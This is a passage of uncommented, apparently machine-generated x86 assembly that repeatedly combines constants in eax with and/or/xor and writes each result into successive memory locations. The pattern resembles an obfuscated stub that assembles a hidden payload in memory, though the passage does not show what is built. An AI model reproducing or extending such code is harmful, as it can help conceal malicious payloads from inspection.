and eax, 0x22238445
or eax, 0x88880202
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x26829c31
and eax, 0x88001054
or eax, 0x3820181
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6da9f795
xor eax, 0x7099cbd7
and eax, 0x1d001402
or eax, 0x608d022d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x79a0e177
and eax, 0x4003648
or eax, 0xb2820885
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5b971c53
and eax, 0x1c01
or eax, 0xa56d8120
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x50de2f96
and eax, 0x132a296
or eax, 0xa084c40
mov dword [ebx], eax
add ebx, ecx
and eax, 0x28fa60e1
and eax, 0x7b5b9e2d
and eax, 0x8080000
or eax, 0x10e02126
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5a027c3c
and eax, 0x8000020
or eax, 0x409b87c8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b78b9e5
and eax, 0x2ae1f3bf
and eax, 0x22802321
or eax, 0xc5160802
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ad24edb
and eax, 0x5e3a518f
and eax, 0x4004180
or eax, 0x4393ba04
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x22ae4cd7
and eax, 0xea00193
and eax, 0x4000113
or eax, 0xe2920028
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x717cf421
and eax, 0x87c84110
or eax, 0x480108a1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13c4a859
and eax, 0
or eax, 0x740dd168
mov dword [ebx], eax
add ebx, ecx
or eax, 0x44d7407d
and eax, 0x10940078
or eax, 0x8a000c80
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x179b95f2
or eax, 0x2dce8d7a
and eax, 0x218d850a
or eax, 0x2000281
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1db16934
and eax, 0x1200eaa4
or eax, 0x41c00140
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6484588d
and eax, 0x40000004
or eax, 0x3d1e1472
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6db7cd72
and eax, 0x40120432
or eax, 0x1288c085
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x14a950df
and eax, 0x44110440
or eax, 0xb0c82117
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3e43e384
and eax, 0x1e14f3cc
and eax, 0x1e108384
or eax, 0x81471c03
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3cb43d74
and eax, 0xa003a292
or eax, 0x5c104d04
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d36a949
and eax, 0x991462dc
or eax, 0x20
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b0ecac9
and eax, 0x1008683d
or eax, 0x44011402
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x21ceb07d
and eax, 0x31008c02
or eax, 0x838123d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x31b82ee
and eax, 0x2b330aa0
or eax, 0xc0842000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x777cd3ec
or eax, 0x65769767
and eax, 0x303eb407
or eax, 0x10
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7ba7377a
and eax, 0x4a361710
or eax, 0x800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x708fdf6a
and eax, 0x70b71020
or eax, 0x85002081
mov dword [ebx], eax
add ebx, ecx
and eax, 0x707a69f3
and eax, 0x30020081
or eax, 0x82404352
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2478583
and eax, 0xfca070f
and eax, 0x2400002
or eax, 0x6c2c888c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x211a69f6
and eax, 0x20080002
or eax, 0x1ac23608
mov dword [ebx], eax
add ebx, ecx
or eax, 0x16c8618d
xor eax, 0x613a26d9
and eax, 0x4c00004
or eax, 0x800a8821
mov dword [ebx], eax
add ebx, ecx
or eax, 0x14c74196
and eax, 0x73107f30
and eax, 0x10000930
or eax, 0x8a9b0244
mov dword [ebx], eax
add ebx, ecx
or eax, 0x695b1799
and eax, 0x181b1a04
or eax, 0x200002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5339752e
and eax, 0x90006
or eax, 0x43820781
mov dword [ebx], eax
add ebx, ecx
or eax, 0x774bdc33
and eax, 0x340a8230
or eax, 0x42040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x597da8cf
and eax, 0x82ca834
or eax, 0x800400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x399cb62c
and eax, 0x1908860c
or eax, 0x40404043
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b6a9a05
xor eax, 0x44793b2
and eax, 0x3d24007c
or eax, 0x80500002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x17fbfc90
and eax, 0x2d56d81e
or eax, 0x40000200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e5360fb
and eax, 0x124008
or eax, 0x108197a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1d7ce586
or eax, 0x34c1ddf9
and eax, 0x10c00d28
or eax, 0xc8220204
mov dword [ebx], eax
add ebx, ecx
and eax, 0x59fc73b3
and eax, 0x8a00000
or eax, 0x840cfcd0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d233978
and eax, 0x5f005965
and eax, 0x41004000
or eax, 0xacbc94d0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x53cc782f
and eax, 0x50084e
or eax, 0x41800300
mov dword [ebx], eax
add ebx, ecx
or eax, 0x756ac4f4
or eax, 0x5f61f2a4
and eax, 0x3c989e40
or eax, 0x80000001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x46e0338a
xor eax, 0x2c1f62b9
and eax, 0x8122001
or eax, 0x2208504
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4071465b
and eax, 0x8636019
or eax, 0x310c0820
mov dword [ebx], eax
add ebx, ecx
and eax, 0x20780554
and eax, 0x7567a043
and eax, 0
or eax, 0xc08edd28
mov dword [ebx], eax
add ebx, ecx
and eax, 0x71b18ca0
and eax, 0x800800
or eax, 0x26092308
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6bf2cef9
and eax, 0x2800200
or eax, 0xcd13e0e1
mov dword [ebx], eax
add ebx, ecx
or eax, 0xe009c3
or eax, 0x183cd494
and eax, 0x1f5501f1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x60516f5d
or eax, 0x2dd8c8ab
and eax, 0x149c9c9
or eax, 0x82002200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2134c8fc
and eax, 0x1000800
or eax, 0x9a682216
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5f61383f
xor eax, 0x7c971c9b
and eax, 0x10080090
or eax, 0x7405109
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x728c8308
xor eax, 0xb3d41e0
and eax, 0x319030
or eax, 0x2486
mov dword [ebx], eax
add ebx, ecx
and eax, 0x312c6237
and eax, 0x2006
or eax, 0x9f494b81
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x27414611
and eax, 0x80080890
or eax, 0x4370c009
mov dword [ebx], eax
add ebx, ecx
and eax, 0x282290f
or eax, 0x66b60fb8
and eax, 0x42960611
or eax, 0x98491004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x17f80611
and eax, 0x5250004
or eax, 0x32906510
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x63ed5339
and eax, 0x10082025
or eax, 0xa260040
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb005367
and eax, 0x3080002
or eax, 0x44408088
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x10478a67
xor eax, 0x28f654bb
and eax, 0x5b814016
or eax, 0x8100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x54dbbdfd
xor eax, 0x2a069bae
and eax, 0x24942410
or eax, 0x8a009002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68f85c20
and eax, 0x20001400
or eax, 0xc42a2aa2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x20535380
and eax, 0x7e7f4f68
and eax, 0x20000200
or eax, 0x4b44f1ff
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x651a5bb4
and eax, 0x65aa000
or eax, 0x91805684
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b3b550c
and eax, 0x125004
or eax, 0x24450050
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x12fb77a0
and eax, 0x32242124
or eax, 0xc0419008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x69ec527b
xor eax, 0x6b26ca7e
and eax, 0x90821000
or eax, 0x2f14844e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x27cb3a92
xor eax, 0x33fe78eb
and eax, 0x2028410
or eax, 0x40502840
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2e6627e
and eax, 0x4226ec48
or eax, 0x24001000
mov dword [ebx], eax
add ebx, ecx
and eax, 0xbf77838
xor eax, 0x6f3c2732
and eax, 0xd0a4118
or eax, 0x12a08044
mov dword [ebx], eax
add ebx, ecx
or eax, 0xcc52d6f
and eax, 0xecf0d7a
or eax, 0xa0100280
mov dword [ebx], eax
add ebx, ecx
or eax, 0x68199643
and eax, 0x4a189c5a
or eax, 0x1006004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xfcd029b
and eax, 0x818285
or eax, 0xb90a0110
mov dword [ebx], eax
add ebx, ecx
and eax, 0x24b3dbaa
or eax, 0x2394eadb
and eax, 0x23832a59
or eax, 0x50281404
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3f489b08
and eax, 0x1001000
or eax, 0x403c183
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4858570c
or eax, 0x2a1d0eb0
and eax, 0x67538ba1
or eax, 0x202040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2059c45c
and eax, 0x1d8e358b
and eax, 0x40a2589
or eax, 0x68811272
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d61b1c4
xor eax, 0x6b0183f2
and eax, 0x4683004
or eax, 0x881581b0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6430f193
and eax, 0x11a15e17
and eax, 0x14001
or eax, 0x9b5ab980
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4739adf0
and eax, 0x3012180
or eax, 0x70c44231
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3688e2d5
and eax, 0x32006000
or eax, 0x8d438020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2c24899a
xor eax, 0x2cb3f0a7
and eax, 0x213004
or eax, 0x19008c18
mov dword [ebx], eax
add ebx, ecx
or eax, 0x33f68613
xor eax, 0x63fcbd0f
and eax, 0x48080010
or eax, 0x2f4cc60
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x363de215
xor eax, 0x5cfe3bb0
and eax, 0x203d1544
or eax, 0xce802222
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x548fe3b
xor eax, 0x5460c35f
and eax, 0x83100a00
or eax, 0x40622068
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4249fccd
and eax, 0x81381005
or eax, 0x72800902
mov dword [ebx], eax
add ebx, ecx
and eax, 0x248b86c9
and eax, 0x20000000
or eax, 0x5764a2da
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x198a2adc
and eax, 0x26a60002
or eax, 0x10013781
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5ff9297d
and eax, 0x4810000
or eax, 0xe91ec4b4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4f4864b7
or eax, 0x48baf14f
and eax, 0x4a73f145
or eax, 0x15000800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7aa3ecf5
and eax, 0x46e94f53
and eax, 0x404811
or eax, 0x8906b286
mov dword [ebx], eax
add ebx, ecx
or eax, 0x43d88645
and eax, 0x8bdc4401
or eax, 0x4210020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72dbb9b4
xor eax, 0x3ce306b8
and eax, 0x20180298
or eax, 0xc145b002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x55a42ca8
xor eax, 0x623fcd43
and eax, 0x94005361
or eax, 0x2028ac02
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x11f5720e
and eax, 0x85cc8969
or eax, 0x4a004080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x61fb0ec5
and eax, 0x45c545c5
or eax, 0x10001012
mov dword [ebx], eax
add ebx, ecx
and eax, 0x525a11e9
and eax, 0x40400141
or eax, 0xac2dea3a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3930b7c0
and eax, 0x2820a300
or eax, 0xd75b1ca3
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x52dd0f24
and eax, 0xa9203003
or eax, 0x40490578
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6cee6720
or eax, 0x3a99def7
and eax, 0x4a711ca0
or eax, 0x85020000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7697da22
and eax, 0x4802daa2
or eax, 0x82040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5e5a15b7
and eax, 0x440aa44
or eax, 0x408e102a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x16403d7b
or eax, 0x3f9c089
and eax, 0x43030a3
or eax, 0x40060504
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e03f136
and eax, 0x20000400
or eax, 0x90c03a4e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x21fc2fc9
and eax, 0x2064124e
or eax, 0x2000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6c17d676
and eax, 0x20041002
or eax, 0x4761cd00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4883590d
or eax, 0xa97b57f
and eax, 0x4202f041
or eax, 0x14200080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x67321284
and eax, 0x7500a0c4
or eax, 0x8889090a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4c7976de
xor eax, 0x655cdac8
and eax, 0x10050500
or eax, 0x6440c8e9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74515771
and eax, 0x6ba3eb50
and eax, 0x2000c200
or eax, 0x82561486
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x41e44ce
and eax, 0x82088240
or eax, 0x11310c83
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4667866a
xor eax, 0x4846a1c6
and eax, 0xe092a0d
or eax, 0x60c04092
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13f58f40
and eax, 0x2410a00
or eax, 0x882a60b2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x37be2771
and eax, 0x665aaba5
and eax, 0x2020020
or eax, 0xc9349c8a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2085c7ea
and eax, 0xda8cd11
and eax, 0
or eax, 0xe9b323a3
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a81f72e
and eax, 0x663174fb
and eax, 0x104480
or eax, 0xdc68b44
mov dword [ebx], eax
add ebx, ecx
or eax, 0xe2372cc
and eax, 0x6e546c7c
and eax, 0x8540848
or eax, 0x1a28092
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ddd1072
xor eax, 0x3b1a4be0
and eax, 0x100c4130
or eax, 0x4800004c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4125f88c
xor eax, 0x22969c66
and eax, 0x5b216590
or eax, 0x4401064
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7bfa5be6
and eax, 0x4002402
or eax, 0x82208081
mov dword [ebx], eax
add ebx, ecx
and eax, 0x8264a9a
and eax, 0
or eax, 0xc95a255d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d208fc5
and eax, 0x8000545
or eax, 0xc4a1601a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x755f30b5
xor eax, 0x377a273c
and eax, 0x808100c0
or eax, 0x110a8800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f2319e1
and eax, 0xdaa998c0
or eax, 0x20506200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x480ca96a
and eax, 0xa0c0102a
or eax, 0x4902a054
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x449799a7
and eax, 0xad552099
or eax, 0x28a8022
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49378275
xor eax, 0x41f47fc6
and eax, 0x48e17625
or eax, 0x85140008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f714e0f
and eax, 0x60801022
or eax, 0xc0045dc
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1783fae7
and eax, 0x477280a0
and eax, 0x6020000
or eax, 0x20cc1b5e
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe6a0e3b
and eax, 0x20010
or eax, 0x59307120
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x63fa0e5f
and eax, 0x12480165
or eax, 0xc5378010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46fd858b
xor eax, 0x6a846227
and eax, 0xa2062611
or eax, 0x898806
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4dd01a56
and eax, 0xe7138040
or eax, 0x100003ba
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2aa34f29
and eax, 0x1c690442
and eax, 0x10000
or eax, 0x974a5013
mov dword [ebx], eax
add ebx, ecx
or eax, 0x771b28bd
or eax, 0x17608e5e
and eax, 0x8169fcc7
or eax, 0x8800000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x650a5a9
and eax, 0x211680b
or eax, 0x20200
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd0df87c
xor eax, 0x277955d7
and eax, 0x2080d86
or eax, 0x80018000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5fe9cea6
and eax, 0x2000002
or eax, 0x71141321
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x566eecef
and eax, 0x250a60c4
or eax, 0xc8040010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x13f2be49
xor eax, 0x516ae561
and eax, 0xa1011d8
or eax, 0x290401
mov dword [ebx], eax
add ebx, ecx
and eax, 0x12074e7f
or eax, 0x7d860e9c
and eax, 0x7a060e5c
or eax, 0x780022
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6998546b
or eax, 0x19df0476
and eax, 0x3b30a13
or eax, 0x80008108
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1f9e247e
and eax, 0x302000a
or eax, 0x742c3e64
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e6e07be
and eax, 0x401940
or eax, 0xc08fc20d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x69fdac52
and eax, 0x400c8040
or eax, 0xa5206584
mov dword [ebx], eax
add ebx, ecx
or eax, 0x499b0bac
and eax, 0x892b2d0c
or eax, 0x12400001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1cd07896
and eax, 0x10402800
or eax, 0xe0a243ba
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d75e4ac
and eax, 0x91110402
or eax, 0x62606088
mov dword [ebx], eax
add ebx, ecx
and eax, 0x51a3ebac
and eax, 0x10014000
or eax, 0x224a1b16
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6835b33b
and eax, 0xc0513ed
and eax, 0x8000008
or eax, 0x30213400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x108cb30e
and eax, 0x8c1700
or eax, 0xc6424051
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb4f9bf0
and eax, 0x60250
or eax, 0xb430e8ae
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x58574a49
and eax, 0x75541158
and eax, 0x4400010
or eax, 0xa157fad
mov dword [ebx], eax
add ebx, ecx
and eax, 0x20a5c802
xor eax, 0x7ed881dc
and eax, 0x5ccc41c8
or eax, 0x200003
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3285bf21
and eax, 0x5a491bc3
or eax, 0x10
mov dword [ebx], eax
add ebx, ecx
and eax, 0x272c45a1
and eax, 0x80001
or eax, 0x94919002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x212f1d37
and eax, 0xa0968500
or eax, 0x2004088
mov dword [ebx], eax
add ebx, ecx
and eax, 0x71699aeb
and eax, 0x20008008
or eax, 0x52726632
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x68a4ce47
and eax, 0x12d00065
or eax, 0x4020d002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ed963cb
and eax, 0x203284
or eax, 0x83864400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x57e9486d
and eax, 0x311290a0
and eax, 0x20000
or eax, 0x6785a85f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x782ecdf8
xor eax, 0x12778e44
and eax, 0x4d4c122
or eax, 0xb0011404
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56dbc121
and eax, 0x5d32bf4b
and eax, 0x21400
or eax, 0xa36008c8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x75aada4a
and eax, 0x20e00480
or eax, 0x50135
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4e325de
and eax, 0x20840141
or eax, 0xd908c000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5d0ee454
and eax, 0x500
or eax, 0x4a694288
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4b9e2902
and eax, 0x41740788
or eax, 0xb4001005
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47d2a3d2
or eax, 0x21b284b1
and eax, 0x33b4b45b
or eax, 0x4010b00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x71ab382b
and eax, 0x11000001
or eax, 0xe164620
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c92c601
and eax, 0x25860601
or eax, 0x80601016
mov dword [ebx], eax
add ebx, ecx
and eax, 0x37a865d2
or eax, 0x55060757
and eax, 0x15000703
or eax, 0x81170a8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1c373050
and eax, 0x5205098
or eax, 0x20000804
mov dword [ebx], eax
add ebx, ecx
and eax, 0x570e9acb
and eax, 0xb9eec12
and eax, 0
or eax, 0x9a9516a1
mov dword [ebx], eax
add ebx, ecx
or eax, 0xa848f28
or eax, 0xdedb672
and eax, 0x967525c9
or eax, 0x20000004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x50150e55
xor eax, 0xd430f38
and eax, 0x2b200000
or eax, 0x10580902
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1abc6836
and eax, 0x315c2036
or eax, 0x40392c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e50b5f8
and eax, 0x24e2dfe5
and eax, 0x504
or eax, 0xe4c5a821
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3edaf8ab
and eax, 0x78c0b845
and eax, 0x48000004
or eax, 0x11663c8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xb93cd50
and eax, 0x840a8c
or eax, 0x1080102
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5abb202a
or eax, 0x42f73fbe
and eax, 0xb03138
or eax, 0x84000041
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1f07b364
xor eax, 0x5e2efb81
and eax, 0x810940a4
or eax, 0xa62b401
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x590e1f7
or eax, 0x38ca8ac8
and eax, 0x9cba861a
or eax, 0x1000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x309a8c9f
or eax, 0x264b0733
and eax, 0x87920991
or eax, 0x40007000
mov dword [ebx], eax
add ebx, ecx
and eax, 0xf362699
and eax, 0x2100000
or eax, 0x288c9404
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x42763aa9
or eax, 0x17034058
and eax, 0x59a948e5
or eax, 0x80040000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x248df59b
and eax, 0x6cac4cf7
or eax, 0x500000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x154f1499
and eax, 0x480410
or eax, 0xc881ba68
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xee7d2de
xor eax, 0x685d370e
and eax, 0x4124220
or eax, 0x50080446
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb1df24a
and eax, 0x4a06626e
or eax, 0xa0e00800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50afa693
xor eax, 0x738638a0
and eax, 0x21000a02
or eax, 0xccc7841c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x16e6b960
and eax, 0xf1002046
or eax, 0x4088880
mov dword [ebx], eax
add ebx, ecx
and eax, 0x509104d4
and eax, 0x2db6eb55
and eax, 0x40
or eax, 0x3ad3f539
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e0af236
and eax, 0xc5a613d
or eax, 0x1000080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x628fd7c2
and eax, 0x28914305
or eax, 0x80000800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4411c798
and eax, 0x73215839
and eax, 0
or eax, 0x11fc01a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5aea6f47
xor eax, 0x1ffd82bb
and eax, 0x1020c418
or eax, 0xa2100081
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3d5a3fd3
and eax, 0xb7a92da
or eax, 0x40024
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6dc271ff
or eax, 0x5c7c054f
and eax, 0x1d3e1083
or eax, 0xa280e200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d84bc5f
xor eax, 0x78c6a424
and eax, 0x60848d3
or eax, 0x4803a000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3d6bd09e
xor eax, 0x3ca6911e
and eax, 0x42c16981
or eax, 0x18100034
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7898a509
and eax, 0x3f018e2a
and eax, 0x18420
or eax, 0x8c186250
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3d931e00
xor eax, 0x7dc2b3f6
and eax, 0x80410d04
or eax, 0x21041039
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6156026e
and eax, 0x21531f10
or eax, 0x1e80a080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4d83db9b
and eax, 0x18510392
or eax, 0x80080004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7fa26ce6
and eax, 0xa2830e70
or eax, 0x1004000c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1f0f4dc1
and eax, 0x42b2c273
and eax, 0x2824060
or eax, 0x15243d06
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5263c1a
or eax, 0x57ca6213
and eax, 0x402c3834
or eax, 0x10000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3828f850
and eax, 0x19c36f08
and eax, 0
or eax, 0x65460329
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4e82ddbc
and eax, 0xac49494
or eax, 0x90220008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x54bf6f53
and eax, 0x2e1fa63f
and eax, 0x9820e
or eax, 0xe0805940
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2dab6e27
and eax, 0x9005543
or eax, 0x2440010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68f0550b
and eax, 0x3c016e59
and eax, 0x8004000
or eax, 0x35161a02
mov dword [ebx], eax
add ebx, ecx
or eax, 0x16784e1e
and eax, 0x1c664604
or eax, 0x80010180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5d0b2c8
xor eax, 0x3c67a81d
and eax, 0x24405041
or eax, 0x520a8202
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3eb1117d
xor eax, 0x68dc8fcb
and eax, 0xc48888
or eax, 0xa1204030
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ba4110b
and eax, 0xa3c0c122
or eax, 0x4130200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4a7c51a
and eax, 0xa0600238
or eax, 0x88860c3
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x73805fad
and eax, 0x2603940
or eax, 0x914081
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb935af1
and eax, 0x82043d0
or eax, 0xb008040e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x259c4877
or eax, 0x10925573
and eax, 0x9d325fbb
or eax, 0x22412000
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb9300ba
and eax, 0x12011b83
or eax, 0xc8044
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7a322301
and eax, 0x10000000
or eax, 0x80f568aa
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5ae42860
and eax, 0x98714088
or eax, 0x40a1114
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4d336c0a
and eax, 0x55332598
or eax, 0x2848220
mov dword [ebx], eax
add ebx, ecx
and eax, 0x36a3c616
xor eax, 0x1c41331a
and eax, 0xaa2110a
or eax, 0x14084285
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x397d5d7d
and eax, 0x24040cb2
or eax, 0xd028b10c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x41f8e29e
or eax, 0x119c839f
and eax, 0x4010a201
or eax, 0x86031c20
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13f8ee7c
xor eax, 0x700c1a58
and eax, 0xa6a0a000
or eax, 0x580001c8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4eb7f4e2
and eax, 0x15c49461
and eax, 0x40020
or eax, 0x49612916
mov dword [ebx], eax
add ebx, ecx
or eax, 0x332069de
and eax, 0x5d8dbc05
and eax, 0x11050804
or eax, 0x6b2456b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e5e8018
xor eax, 0x77ad9e2b
and eax, 0x8524100
or eax, 0x22a1ac08
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6aa243ab
